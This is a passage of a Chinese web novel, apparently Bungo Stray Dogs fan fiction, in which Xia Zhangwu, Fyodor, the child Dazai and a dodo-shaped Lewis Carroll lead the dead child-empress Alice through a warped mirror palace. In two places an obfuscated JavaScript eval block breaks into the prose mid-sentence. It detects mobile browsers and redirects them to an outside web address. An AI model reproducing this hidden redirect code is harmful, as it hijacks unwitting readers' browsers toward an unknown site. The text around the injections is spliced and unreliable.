我和你聊过我的计划了吗,怎么就突然变成“我们”的计划了?而且你怎么摆出一副非常知道我的计划到底是什么样子,做人到底能不能有点分寸和边界感啊? 夏章雾虚起眼睛,正想要和对方聊聊“人与人之间距离感存在的必要性”的话题,就被身后传来的声音给打断了。 “大叔大叔!” 一个毛茸茸卷毛脑袋从后面冒了出来,鸢色的眼睛闪闪发光:“原来你最后落到这里了,能把翅膀再给大家看看吗?之前只看到了一眼,真的超级——好奇的!对不对,卡罗尔先生?” “渡渡?” 刘易斯·卡罗尔发出有些尴尬的叫声。 夏章雾:“……” 他面无表情地变出身后的翅膀,用力地给这没大没小的崽子来了个大逼斗,听到对方可怜兮兮地“哇”了一下才满意地把翅膀收回去。 “凑过来干什么?” 他说,同时觉得自己最近对太宰治说这种话的此时是不是有点太多了。 “呜呃,我就说大叔不是天使吧,真的天使哪有拿翅膀扇人的,感觉就是什么换了个翅膀模板的恶作剧小精灵。就是童话中住在烟囱里、还会给家里制造麻烦的那种……咳咳,我是说,我们刚刚发现了特别有意思的东西哦!” 本来还在悄悄和织田作之助嘀咕的太宰治立刻转过头,用特别大的声音说道:“我们发现前面有一个超级大的城堡!” 渡渡鸟看样子很想用翅膀捂住脸,但他的翅膀太短了,姑且做不到这一点,于是只能勉为其难地在旁边附和性质地“渡渡”两声。 夏章雾双手环抱,换了个站姿:“城堡?” “至少乍一看是很像城堡啦,但实际上还有一点像是宫殿。而且看上去就是很有那种意义不明的感觉,像是用乱七八糟的东西模仿着城堡制造成的。” 太宰治说完后就看向织田作之助,像是生怕大人不相信他的话:“我说的没错吧,织田作?” 夏章雾挑了下眉:“那像白金汉宫吗?” 不不不,完全不像。 太宰治带着点无语的眼神清晰地传达出了这个信息。而织田作之助很认真地思考了几秒,最后尝试性地说道:“它们的主体颜色都是白的?” 除此之外确实没有什么相似的地方了。 “好吧,那还是挺有可能的。毕竟大本钟也除了都有钟以外也完全不像。指个位置。” 夏章雾耸了耸肩,然后望向费奥多尔:“你是打算和我一起去,还是——” 这句话并没有说完。因为夏章雾说到一半时就很谨慎地闭了嘴,意识到了自己的这句话有相当不对劲的地方。 “如果他要和你一起去的话,你是不是打算抱着他飞过去?” 画外音在旁边发出意味深长的感慨:“哎呀呀,不愧是车啊,果然是带着国王四处乱跑的移动城堡。你确定不是之前抱着人家上楼梯养成习惯了?才一次就有这习惯了吗?” 夏章雾被噎住了:“……” 开什么玩笑,他根本就对抱着这个混蛋侦探飞来飞去没有兴趣好不好!这次那家伙又不会给自己一千英镑,他凭什么要抱着人到处飞啊!飞也是很累的! “你听上去很有底气。” 画外音笑嘻嘻:“但你敢不敢把你脑子里的内容说出口,而不是在这里对我说。” 夏章雾没吱声,非常果断地一扇翅膀,就这么飞走了,一副完全没有把自己剩下来那半句话说完的打算。 费奥多尔轻轻地笑了一声。 “所以大叔那没说出口的半句话是什么?” 太宰治踮起脚尖看了一眼,小声地对旁边的织田作之助与渡渡鸟吐槽道:“该不会是想要把费奥多尔先生给提溜过去吧?” “可是成年人很重的吧。” 织田作之助思考了几秒,最后十分客观严谨地说道:“有可能提不起来。” “但大叔他都可以穿着这么——重的铠甲在天上飞来飞去耶!”太宰治言之凿凿,“再带一个人也肯定完全没有问题!” “渡渡……”我总感觉夏教授要是听到太宰你说的话,会把你揍一顿。 卡罗尔无奈地叹了口气,然后抬头看向费奥多尔,发出询问的声音:“渡渡渡?” “坂口先生去找爱丽丝陛下了。” 费奥多尔看懂了他的意思,开口说道:“到时候麻烦你们带他们走到你们刚刚看到的城堡。我先去给这些人指一下城堡的方向,然后就和勒托先生一起去那里。” “渡渡。” 卡罗尔拍拍翅膀,发出姑且可以被理解为同意的声音,表情有些复杂,与那张天生就带着愚蠢滑稽色彩的鸟类面孔格格不入。 他大概是在思考这个世界爱丽丝的事情,也有可能是在想自己为什么保持了渡渡鸟的外形。但说到底,也没人能看出来一只渡渡鸟的内心到底有着什么样的心思。 但总之,他还是用嘴咬着太宰治的衣角,笨拙地和织田作之助一起把他给拖走了,打算去看看那个可能只有一部分才被自己认识的爱丽丝。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426242|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不远处,从天上摔下来的爱丽丝小女皇则是晕头晕脑的。一只吸蜜鹦鹉有些心虚地在抖着自己的羽毛。 “天啊,我们刚刚竟然从那么——高的地方掉了下来!” 小女皇抬头看着天空,擦擦眼眶里的泪水,发现自己没有什么事后又很快开心了起来:“伊迪丝,罗丽娜!我发誓以后就算是从屋顶头朝下地摔下来,我肯定会一声不吭的!” “真的吗?” 吸蜜鹦鹉挑剔地说:“可是我觉得你肯定会很大声地哎呦一下。” “也许真的会哎呦一下?” 爱丽丝女皇实际上自己都有点不确定:“不过我想在那之后我肯定不会说话的。不过真是神奇,现在我一点都不疼了!” 她扶着王冠,跳起来走了两步,不过很快就意识到自己的行为有点失礼:女皇应该用更淑女的姿势来参加宴会才对。 于是她立刻站直身子,学着大人,很是严格地教训起了自己:“爱丽丝,你要当好女皇。可不能被其他的国王和王后看到后笑起来!这可是你第一次、第二次……哎呀,总之就是很少见地去参加别的国王的宴会!必须得有教养一点!” 她教训得那么严厉,以至于说完话后自己都觉得有点委屈,嘴巴撇了撇,又忍不住为自己辩驳道:“可是到底什么叫做有教养呢?” “更何况我是接受邀约来的,但是现在连城堡在哪里都不知道。”她很是振振有词地说,“勒托先生也完全没有过来接人的意思。明明都说好了呀。” “我觉得你被放鸽子了。” 吸蜜鹦鹉罗丽娜很有经验地说:“也许人家根本就没有打算过来接你。” 小鹰发出迷茫的“叽叽”声。也许她才是当前所有生物里最搞不清状况的那个。 “最近的事情真是稀里糊涂。” 爱丽丝女皇说:“之前我明明还在宴会里面听演讲呢,结果不知道为什么,一切都变得乱糟糟的。简直就像是上次我去参加我自己的宴会时一样。真是让人受不了!” “我没有办法做出评价。因为我根本没有参加你的宴会。”吸蜜鹦鹉高傲地说,“你玩的游戏实在是太笨蛋了。” “你也很坏,罗丽娜!” 爱丽丝气鼓鼓地说,然后摆正了王冠:“不过我觉得这里面肯定有一个坏蛋在捣鬼!如果我抓到,如果我抓到那个坏蛋的话……” “你要怎么样?”罗丽娜歪了下头。 “我要把他变成一只猫!” 爱丽丝气势汹汹地说:“我一定要!” “哇哦。”刚刚来到这里的太宰治躲在最新出现的建筑物后面,忍不住发出了一声感慨,想象了一下夏章雾或者费奥多尔变成猫的样子,“这下我都想告诉她罪魁祸首到底是谁了。” “我对此不想做出任何评价。” 被太宰治他们后来追上的坂口安吾有些无奈地扶额:“因为我感觉要是真的被变成猫了,我们倒的霉可能比他们还是人时还大。” “哇喔,安吾你也学坏了!所以你也很想看看大叔和费奥多尔先生变成猫是什么样吧!”太宰治的眼睛一下子亮了起来,“那织田作你呢?你期不期待!猫是不是超级可爱的!” “确实挺可爱。” 织田作之助有些困惑地点头:“不过……” “那我们就直接冲上去告密——唔唔唔!” 事实证明,就算是别的大人不在了,也不要忽略某位外表渡渡鸟,但内心实际上是成年人的刘易斯·卡罗尔先生。 明白自己谁都没有办法指望的渡渡鸟一路走到爱丽丝女皇的面前,在小女孩和鸟雀们好奇的目光下沉默了片刻,发出“渡渡渡”的声音。 “咦?你是谁?你的眼睛看上去真的很容易让我想到白骑士先生。但他是骑士,不是鸟。而且绝对没有你那么奇怪。” 爱丽丝女皇顿时忘了自己要生气了,有些好奇地伸手摸了摸渡渡鸟的羽毛:“真令人惊讶,我从小到大都没有见过这么奇怪的东西!你们能听懂它在说什么吗?” “这个嘛。” 罗丽娜说:“他一直在说渡渡。别的我也听不懂。” 小鹰“叽叽”地叫起来。 “我明白了。”爱丽丝歪了下脑袋,先是不解地看了几秒,然后恍然大悟地一拍手,眼睛亮晶晶的,“原来你是和伊迪丝一样的笨蛋!” “渡!” 卡罗尔发出反驳的声音,然后毫不犹豫地伸出翅膀,把太宰治他们所在的位置给卖了,又跑了回去,拽着坂口安吾的衣角就拖了出来——他现在急需一个正常的翻译器! “呃。”被拽出来的坂口安吾有点不好意思,他咳嗽了一声,“你你好,女皇陛下?” 爱丽丝女皇歪头看着他。 “渡渡渡!”卡罗尔在旁边大声地提示道。 “我们是带你前往城堡的。”坂口安吾瞬间松了口气,直接选择把对方的话翻译出来,“勒托先生带着其他人先走了。您来得晚了点。” “诶,原来是我们来晚了吗?” 爱丽丝女皇惊讶地睁大眼睛,主动往前方跑了过去:“那就赶紧走呀。我可不想错过别的国王的宴会!爱丽丝爱丽丝,你要是错过宴会了,那可就太不淑女啦!” “我感觉你被骗啦!笨蛋爱丽丝!” 那只小吸蜜鹦鹉不太高兴地喊道,然后也跟着飞了上去。 56.这下晚年不详了 夏章雾走在复杂交错的宫殿里。 这里没有方向,没有绝对的垂直,一切都呈现出混乱的扭曲。每个事物都像是各个素材拆分出的融合畸形儿,难以确认具体的作用。 或许是因为它才刚刚出现,一旦视线离开,那些具体的形状就消失得无影无踪,再次朝那个方向看去时,眼前的事物就已经完全变成了全新的模样。 这让夏章雾不得不一直看着脚下的路,以防止自己在挪开视线后突兀地跌进水里或者走到没有头的路中。 这里还没有彻底稳固下来。这里还没有成为填充这个空洞世界真正的基石。但肉眼可见的,它也在慢慢地走向稳定,外表逐步出现绚烂的、毫无意义的分形图案。 目前为止,他还没有找到自己想找的人…… “嘶嘶嘶?” 蛇类吐信子的声音传来。 夏章雾终于把视线短暂地从路面挪开,他看向周围,发现这里的材质已经变成了大片大片的玻璃,而在那些比起柱子更像是钟乳石的事物之上,盘旋着一条赤色斑斓的大蛇。 赤红的蛇身大概有一人粗,将近九米左右的身躯盘绕在屋顶上。它吐着信子,红色的眼睛有些讪讪地看着夏章雾,呈现出与庞大体型截然相反的低眉顺眼之感。 “呃,您好?”它说,“打扰了?” ——很好,他现在找到蛇了。 “阿尔贝蒂娜女王在这里吗?” 夏章雾抬起头,上下打量了一圈这条长得飞快的蛇,也没有太在意它为什么出现在这里,只是挑了下眉,这么问道。 他还记得,当初自己在进去前特意把这条蛇给安排去找阿尔贝蒂娜了。当时他就是担心那些读者对女王的担忧会成真,所以才专门把这个似乎在魔法上很在行的家伙给丢过去。 现在看来,读者们那个时候的叽叽喳喳也不是杞人忧天——虽然他们当时也未必想到了现在的情况就是了。 “这个。哦,女王陛下当然也在。但她还需要处理些公务,很快您就能看到她了。” 赤红的蛇晃了晃自己的尾巴尖,发出相当尴尬的声音,鳞片不安地“哗啦哗啦”振动着,一副非常想要溜之大吉但是又逃不掉的样子。 夏章雾点了点头,淡定地无视了对方那“撒旦啊,快点让我走吧,我为什么要待在这里和他单独面对面地说话”的目光。 “外面现在是什么情况?”他继续问。 “还没出什么大事。现在两个世界的距离还不足以让人类进来。顶多有部分快要死亡的人类能够隐隐约约地看到与这里有关的事物。” 蛇嘟哝着:“但我猜他们自己都会觉得看到的是幻觉。不得不说,人类是非常擅长欺骗和说服自己的生物,尤其是快要死掉的人类……” “蛇先生,没有必要做出这样苛刻的评判。” 清脆的少女声音响起:“并非所有人都必须接受真相。对真相的崇拜也并非永远正确。对于人类而言,他们所需要的东西只有一个。” 那位年轻的、还没有成年的女王戴着她华丽的王冠从玻璃当中浮现。她手中握着权杖,穿戴得相当正式,近乎透明的银灰色眼睛中倒映出近乎玻璃反光的清澈光辉。 她望向夏章雾,大大方方地微微一笑。 “那就是幸福与安定——好久不见,夏卿。” “对我来说并不算很久,女王陛下。” 夏章雾向她微微低头行礼:“至少在我这里的时间里,我们还没有分别满四十八小时。” 他注意到蛇此时已经无声无息地消失了。蛇大概是很乐意有人帮助自己吸引某个人的注意,偷溜的速度比兔子都要快。 时至今日,夏章雾依旧不知道那条蛇为什么这么害怕自己。明明按照读者的说法,最初它还在很大言不惭地给自己造谣抹黑呢。 ……好吧,仔细想来,说不定它当时真的没有进行造谣抹黑。毕竟自己大概率确实是放了某个俄罗斯人的鸽子几十年。 想起这件事,某位救世主先生的目光就忍不住飘移了一下。 当然,承认是不可能承认的。 还是那句话:反正他没有这个记忆,四舍五入就不是他干的。过去的他可能很混蛋,但不妨碍现在的他已经完全切割了。 “哦呀,那还真是短暂的分别。” 女王带笑的声音把夏章雾重新拉回了现实。 只见镜子中的少女轻轻地眨动了一下自己浅银灰色的眼睛,呈现出属于她这个年龄女孩应有的轻快和俏皮:“不过这次见面的时候,我可是已经十六岁了。” 夏章雾愣了一下。 越来越严重的时间扭曲本来就是他预料当中的事情。毕竟现实中的事物都出现在这里了,说明两个世界几乎已经快贴靠在了一起。这里对现实的影响也会更变本加厉。 但女王的生日应该是在…… “现在已经六月份了?”他说。 “准确的说,是六月十九日啦。” 镜子里的女王眼睛弯起,显得很可爱:“今天就是我的生日。本来还在想到底有没有人会来给我唱生日快乐歌的。结果没想到它选的日子正好就是今天。不过我也不怎么担心。夏卿有什么想法需要我配合的话,告知我就行。” 她看上去真的完全不害怕,也不担忧。 这位女皇陛下更像是从一天的繁重劳动——戴着那个死沉的王冠还要到处出席公共场合的确算是繁重劳动——中解放出来的小孩,正在满怀期待地面对着生命中难得的冒险。 仿佛接下来不管是出现喷火龙还是毁灭世界的传奇反派,她都能“哇哦”一声,然后用亮晶晶的信赖目光看着身边的人,说出“所以您一定能解决的,对吗”这样可怕的话。 夏章雾:“呃。” 他有一瞬间感觉自己像是在带着那群倒霉的大一新生去做田野调查,身上背负着“一定要把他们活着带回来”的巨大压力。 但但但但这情况不对吧! 夏某人的眼神逐渐变得惊恐。 之前他就感觉到不对劲了:这位女王陛下的语气和之前在众人面前时完全不一样啊!不是,我们有这么熟悉吗? 他现在都快要以为自己是不是有什么英国皇室血统,是这位女王陛下的亲叔叔了:你你你你怎么这么信任我?我都没法这么信任我自己啊! 上一个这么信任他的还是某个至今都没记住名字的俄罗斯侦探,他倒了八辈子的霉才会遇到的孽缘。 不会吧?又来! “好啦好啦。你冷静点。” 作者在旁边安抚道,只是声音里的笑意怎么都憋不住:“认识以前你的人基本都死了,这种接二连三碰到熟人的情况肯定不多。这个是……嗯,特殊情况!特殊的!噗。” 冷静,你要我拿什么冷静? 夏章雾用生无可恋的死鱼眼瞪着天花板,感觉要不是小女王还在面前,他现在就能和这个混蛋作者大战八百回合。 但现在还是先说正事吧。他确实有事情需要阿尔贝蒂娜配合。 “陛下。”他说。 “嗯?L……夏卿想要说什么?” 阿尔贝蒂娜眨眨眼睛,轻快地回答。 夏章雾深深地看了她一眼,感觉对方身上那种“我不演啦,反正我就是见过你”的趋势正在越来越明显。 “接下来的方案里,您可能需要冒着相当大的风险。” 他说:“在这次事件中,我们面对的OOL的类型很特殊。它的行动目标并非是杀死人类,而是想要吞并现实世界。而根据我的猜测,您很有可能就是这个过程中的一个重要节点。” ——爱丽丝与阿尔贝蒂娜。 同样没有成年的两位小女王。 已经死去的灵魂与仍旧活着的人类。 凯尔特神话死者之国的掌管者与凯尔特现实土地上生者的保护者。 如果说连接着死亡世界与活人世界的镜子是一面滑稽的哈哈镜,现实中的一切都会在这里呈现出怪诞的扭曲与可笑的变形,那么…… 那位爱丽丝女皇身上是否存在着阿尔贝蒂娜的影子?她是否就是阿尔贝蒂娜在这个哈哈镜中留下的镜中倒影? 夏章雾注视着镜子中的女王。 对于阿尔贝蒂娜和这次的文学负面体,读者们很早就有了这份担忧——话说回来,他到现在都没办法理解读者们那种仿佛不需要证据的准确直觉判断到底是怎么做到的。 只能说,他当时幸好在这位小女王的身边留了一手……啊不对,留了一蛇。

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除了好奇读者们的直觉,他其实也很好奇这位小女王到底是怎么判断出文学负面体相关物与人类与异能者之间区别的。但他一直都没找到机会去问。 当然,才不是他忘记了。 “陛下,她的确并不算单纯的人类。准确的说,爱丽丝·利德尔早就已经彻底死去了。” 熟悉的声音传来。 夏章雾“啧”了一下,扭头看去。 那位穿着经典国王服饰的俄罗斯人从玻璃长廊的入口走来,最后停在夏章雾的身边,对镜子中的女王礼貌性质地微微一笑。 “接下来的计划里,我们需要您的帮助。” 他说:“希望您能配合我们的行动。” 夏某人谨慎且不动声色地后退了一步。 他现在感觉这里本来就因为阿尔贝蒂娜而变得微妙的气氛变得更微妙了。呃,这应该算是他的错觉吧,应该吧? “当然。” 大不列颠的女王声音依旧轻快,她脸上的笑容丝毫未变:“就像是我之前说的那样——你们为此次任务行走在这片土地上时,无人有权阻止你们,包括我自身。” …… “这里看上去可真大。” 爱丽丝女皇说。她好奇地看着前后左右等等的一切:“不过这里难道没有会唱歌的门吗?或者说是会唱歌的别的东西?” “事实上,我们那里的门都不太会唱歌。” 坂口安吾尽可能委婉地说:“能唱歌的往往只有那么特定几个东西。” “哦,听上去真无聊。” 罗丽娜说。 这只吸蜜鹦鹉在上方骄傲地飞来飞去,绚烂的羽毛让她看上去像是条绚烂的彩虹。而那只叫伊迪丝的小鹰——或者说叫小鹰的伊迪丝则是缩在爱丽丝的怀里打着哈欠。 她有着和自己姐姐一样的好奇心,但太容易困了,总是喜欢把自己团成这个模样睡觉。 “如果这里连一扇会说话的门都没有,那确实会很无聊。不过我有办法!” 爱丽丝女皇一本正经地说:“那就由我们来假装——织田先生,您可以假装自己是一扇会唱歌的门吗?” 她问出这个问题的原因很纯粹:因为织田作之助是在场最高的那一个。如果其他人假装自己是门的话,肯定是一扇会把别人卡在门外的门,这就有点不太像是门了。 但织田作之助本人有点困惑。 “所以我是要假装自己会唱歌?”他说,“还是假装自己是门?” “那就先唱歌怎么样?” 太宰治很感兴趣地说:“毕竟假装自己是门很容易,但唱歌就不那么简单了。” 一分钟后。 “经过我们一致的同意。”坂口安吾捂着脸,扶着正在装死的太宰治,“织田作你就不用表演这个了。呃,其实没有会唱歌的门也挺好的。” “是的。”爱丽丝也用力地抱着自己的姐姐妹妹,小声地说,“我现在也觉得挺好的。” 57.那非常遗憾了 事情于是变得非常遗憾。四个人和一只渡渡鸟于是就这么在大厅里面面面相觑,混在一群来到了宫殿里后就开始无所事事的灵魂中。 “如果我们不能假装自己是一扇门的话。” 又走了一会儿,爱丽丝女皇忍不住说:“那有没有人想要假装自己是王后呢?” “呃,王后?” 坂口安吾不由自主地说。 他非常希望爱丽丝此时想说的内容是“国王”而非“王后”。毕竟在场的除了鸟类和爱丽丝本人之外,其他的都是男的。 “是呀是呀,你们可以假装自己是王后。” 爱丽丝女皇认真地点点头,装出一副小大人的样子:“这样呢,我就可以有王后陪我一起玩啦!到时候我们还可以一起去参加宴会!我觉得这个主意比前一个聪明得多。” 说完后,她还点点头,显然觉得自己的发言十分有道理。 不过坂口安吾还是吐槽了一句:“但是就算不说王后的性别问题,这么多人都假装自己是王后吗。话说这里到底要有多少王后啊……” “而且就算现在大家不是王后,我们也可以陪你一起去参加宴会的哦,爱丽丝陛下!” 太宰治探出脑袋,笑眯眯的:“需要我陪你走走吗?大叔他们现在应该就在前面,您应该是想要去找他们玩吧?” “欸欸?”被戳破心思的爱丽丝女皇愣了一下,抱着怀里的小鹰,脸颊顿时红了。 但她还是很倔强地摆出了作为女王的架势,用教训人的口吻说:“才没有呢。我才没有想着玩——我就是,哎呀,我就是——” “爱丽丝。” 飞在天空的吸蜜鹦鹉很是警惕地说:“其实我感觉那小子是在对你图谋不轨。” “渡渡渡。”渡渡鸟在旁边小声地发出附和的渡渡声,用相当谨慎的目光来回地打量着太宰治和爱丽丝的位置。 然而爱丽丝女皇根本就没有听他们俩的话,只是在绞尽脑汁地为自己想着理由。 “我我我……对了!我就是想去问问他们知不知道到底是谁在仙境里面捣鬼!” 小女皇最后还是想到了合适的理由,于是又昂首挺胸了起来,顿时觉得自己的行为充满了责任感:“我等会儿要把那个坏蛋变成猫!然后用力地去揉他的脸!” “所以需要带路吗?” 太宰治继续笑眯眯的:“而且其实这个答案我也是知道的——哎!” 卡罗尔先生此时已经以不属于渡渡鸟的惊人弹跳力直接调到了太宰治的脑袋上,扑扇着翅膀狠狠地拍了下这小崽子的头,然后又往前直接跳到了太宰治和爱丽丝之间。 他十分坚定地张开翅膀,阻隔了这辆个未成年人,然后发出堪称是气宇轩昂的“渡渡”声。 “渡渡渡渡渡渡!”他说,然后顺着道路跑了过去。 “诶,卡罗尔先生!不要乱跑!” 爱丽丝女皇愣了一下,有些搞不懂渡渡鸟为什么突然跑了起来,但还是连忙就追了上去,觉得自己有必要把他给重新抱回来。 “完啦!爱丽丝你被骗啦!” 吸蜜鹦鹉罗丽娜在上面喊道,也跟着飞了过去:“他们肯定是想趁你独自一个的时候,把你的糖果全部都给骗走的!” 眼看着吸蜜鹦鹉也跟着飞远了,就这么被丢下来的三个未成年人面面相觑了一眼。 “卡罗尔先生说让你离爱丽丝远点。” 织田作之助认真地点点头,然后给太宰治翻译了之前卡罗尔站在他和爱丽丝之间时说的话:“还有,他能闻得出来勒托先生和费奥多尔先生身上的味道,带路更准确些。” “唔唔唔,真是的。其实我也只是说说而已嘛。” 太宰治则是在使劲地揉着后脑勺,脸颊气得圆鼓鼓的:“我又不会对她产生什么想法。明明全场最接近变.态的应该是他嘛!我和安吾当时在他房间看到的相册里面全是……” “咳咳咳!” 坂口安吾突然剧烈地咳嗽起来,脸瞬间就红了,直接飞扑上去堵住太宰治的嘴:“这种事情就不用再回忆起来吧!而且我现在比较担心的是其他方面的事情。” 他有些生硬地强行转移了话题:“卡罗尔先生这么在意爱丽丝,让他跟过去真的好吗?” 就算是他都能看得出来,爱丽丝女皇的立场与他们是截然相反的。现在她还能开开心心地跟着他们跑,归根结底还是因为爱丽丝只是个没有明白到底发生了什么的小孩子。 但如果他们真的打算摧毁这个未来会覆盖现实的世界,对方肯定不会赞同他们的行为。更何况,等到这一切都处理结束后,她大概也会随着这个OOL一起消失。 现在就追过去的话…… 坂口安吾有点犹豫,不知道自己是不是应该拉上织田作,一起把卡罗尔给拦下来。 然后他就被凑过来的太宰治戳了戳肩膀。 “大叔都不怎么担心这个问题,安吾你就不用太在意了啦。” 太宰治还是哼哼唧唧的:“虽然大叔他不靠谱,但这种事情上是不会出大问题的。现在我们真正要做的事情只有一件。” 织田作之助歪了下头:“什么?” “当然就是好好地管理这群人啊!总不能让他们在事情结束前惹出什么乱子吧!” 太宰治瞅了眼那些无所事事的家伙,很是 理直气壮地如是说道,然后用手托着下巴苦思冥想了一会儿:“嗯,首先得给他们找点可以用来打发时间的事情……就这样好了,我们来玩大逃杀怎么样!” 说出这句话时,他真的相当兴致勃勃。 “咳咳咳——噗!” 坂口安吾感觉自己差点被口水呛死。 他抬起头,用有些惊恐的眼神看着太宰治,看上去很想说点什么。 “所以织田作也要来玩吗?放心,不杀人!” 然而还没等他开口,太宰治就眼睛亮晶晶地举起了手,找到了自己的同盟:“我们就是陪大家玩玩,让所有人都能够感受到生命的美好可贵和刺激!反正现在大家也都是灵魂状态,肯定没事的啦。” 喂喂喂,“生命的美好可贵”从你的口中说出来真的超级有违和感啊! 坂口安吾的眼角狠狠地跳了两下。 “那安吾不说话也肯定是默认了!我们去找大家玩吧!反正只要不打扰大人那里就没事,对吧?织田作你去守着那条道。有人窜到那里就直接打——晕好咯。” 太宰治就这样自顾自地下了决定,随后直接拽住了坂口安吾的手。 “至于我们,就去吓唬他们!”他语气轻快地说,“安吾你说我们是说下面埋了炸弹比较好,还是说我们是邪恶的人体实验组织比较好?” 坂口安吾十分艰难地“唔”了一声。 “还是人体实验吧?”他很勉为其难地说,最后无奈地长叹了口气,感觉自己的底线被瞬间拉低了,“这个我见识得比较多……” …… “哒哒哒哒”。 清脆的脚步声。一前一后,一个笨拙且跌跌撞撞,一个听上去轻巧且快活。 年幼的女皇跟着渡渡鸟一路穿过镜子组成的玻璃走廊。她好奇地打量着镜子当中的自己,伸手和她们打招呼,还和镜子中的吸蜜鹦鹉与小鹰也打招呼。 镜子里面的爱丽丝有的只是站着歪头看她,有的是在朝她眨眼睛,还有的是在宴会上一本正经地朗诵诗歌,还有的是在摘灯芯草,其中还有一个正在吃布丁! 爱丽丝女皇看得都要有点饿了。她悄悄地想着:如果她能分享到镜子里那个自己的布丁,到底该多好啊。 “爱丽丝,你简直是笨蛋。” 镜子里的吸蜜鹦鹉说。 “罗丽娜才是笨蛋。”爱丽丝这样回答,她的理由是很充分的,“每次我问你‘为什么’的时候,你总是回答不上来。” “那我也要比你聪明得多。” 现实中的吸蜜鹦鹉落在了她的肩膀上,很是得意地抖着毛,用小女孩的高傲语气说道:“我要比你大两岁呢。而且我知道你绝对吃不到镜子另一侧的布丁。” 这句话听上去可真的有点让人难过。 “真希望勒托先生那里能有点好吃的东西!” 她想:“我现在饿得能够吃掉大象!” “但是你把你正在想的话说出来了,笨蛋爱丽丝。”吸蜜鹦鹉锲而不舍地纠正着自己妹妹的错误,在上面飞来飞去,“爱丽丝你真笨!” “不准说我笨啦!” 爱丽丝伸手要抓她:“我现在可是女皇!女皇才不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436592|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说笨!伊迪丝,你说对不对?” 小鹰“叽叽”地叫了两声,然而眼睛一直专注地看着刘易斯·卡罗尔,表现得非常好奇。 渡渡鸟回头看了眼她们。 “渡渡。”他嘟哝道。 哦,罗丽娜。永远都是那么骄傲的小家伙,有些任性但又聪明的小家伙。她性子太骄傲了,还带着点不愿意服输的派头,格外在意自己作为姐姐的自尊心。 所以她总是和自己的妹妹爱丽丝吵架——在爱丽丝还活着的时候。在爱丽丝去世的时候,她也摆出了一副不愿意相信的骄傲神态,谁的话都不愿意听,一个人跑到了康河边。 当卡罗尔在现实中最后一次看到她时,她正在朝河流中丢石头。 “爱丽丝是个笨蛋!”她说,亮蓝色的眼睛睁得大大的,透露出固执的模样,“我才不会因为她死掉而难过呢!” 还有伊迪丝。实际上谁也说不清伊迪丝有没有搞懂爱丽丝的死亡。这个年纪最小的妹妹总喜欢粘着自己的姐姐,露出一只眼睛看着周围,对所有不熟悉的事情都保持着跃跃欲试又不敢特别靠近的活泼。在那之后怎么样了呢? 卡罗尔并不清楚。自从爱丽丝死去后,他就远离了利德尔一家。 至于爱丽丝……爱丽丝…… 卡罗尔叹了口气,继续在前面走着。 他想,他大概知道自己为什么一进来就是这副渡渡鸟的模样了。这大概就和罗丽娜是一只吸蜜鹦鹉、伊迪丝是一只小鹰的原因一样。 他用渡渡鸟敏锐的嗅觉闻了闻空气的气味,继续往前跑去。他知道接下来他即将带身后的小家伙们走向一个被提前布置好的陷阱,但他并没有犹豫。 也没有什么好犹豫的。 他知道自己在这个时候应该做什么。在他跳进兔子洞的那一刻,想到的并不是该怎么拯救那个女孩或者让她复活。他想到的事情很简单。 生命和死亡是神圣的。 它们已经沾满了人类的笑与泪水。它们不需要再增加任何繁多的意义和诠释,不需要更多的东西作为点缀。它们不允许被任何事物玷污。 卡罗尔终于停下了脚步。 他看着前面的门:“渡渡。” “所以这里就是大厅?” 爱丽丝也跟着停了下来,她一点也不气喘,只是好奇地打量着周围的环境,然后主动打开了门:“勒托先生他们应该就在里面吧?卡罗尔先生不打算往前面走了吗?” 卡罗尔只是轻轻地摇了摇头。 “渡渡。”他说。 “爱丽丝想要进去吗?”罗丽娜问。 “当然要进去啦。而且我真的很饿,我希望宴会上有招待客人的布丁或者蛋糕。” 爱丽丝说,不过很快就有满脸认真地教训起了自己:“不过爱丽丝,你要记住,不能在别人说出‘请’之前拿蛋糕!” 说完,她就抱着小鹰努力庄重地走进去了。吸蜜鹦鹉嘟哝一声,也跟着飞了过去。 门关上了。 小姑娘没有想门那边的渡渡鸟到底会想些什么。这些东西对于她来说还太复杂,她总是在这种复杂的问题上晕乎乎的,只是会装出自己很明白的样子。 “勒托先生!国王先生!” 爱丽丝女皇高兴地打招呼。 她蹦蹦跳跳地跑过去,发现正好有一个位置是给自己的。唯一可惜的地方就是桌子上面没有布丁呀蛋糕呀之类的东西。 “这里的宴会是要举办什么?” 她左看看右看看:“这里看上去真漂亮,就是没有会说话的门,也没会说话的布丁——不过我想后者最好还是不要有。想想看,当你特别想要吃布丁的时候,结果布丁突然说话了:‘你想要把我放进嘴里吗,真没礼貌’。” “听上去是不是很糟糕。最糟糕的是还需要回答它的话,否则就更不礼貌了。我很久之前的一次宴会就是这么搞砸的。” 爱丽丝女皇说到这里才想起来自己今天遇到的事情,脸颊鼓了起来:“还有,我刚刚的宴会也是完全被搞砸了!我甚至都没有说想要吃布丁——我真的很想教训教训捣蛋的坏蛋!” “嗯。” 完全没来得及插嘴的夏章雾咳嗽一声。 “这个嘛,我们对此深表遗憾。”他说。 58.我说你们成年人讲不讲武德啊 费奥多尔在旁边轻轻的笑了一声,似乎是觉得夏章雾现在这副尴尬的样子还挺好玩。 夏章雾对此的反应则是立刻就威胁性质地瞪了过去,狠狠地用眼神警告一番对方后才看向面前的小女皇。 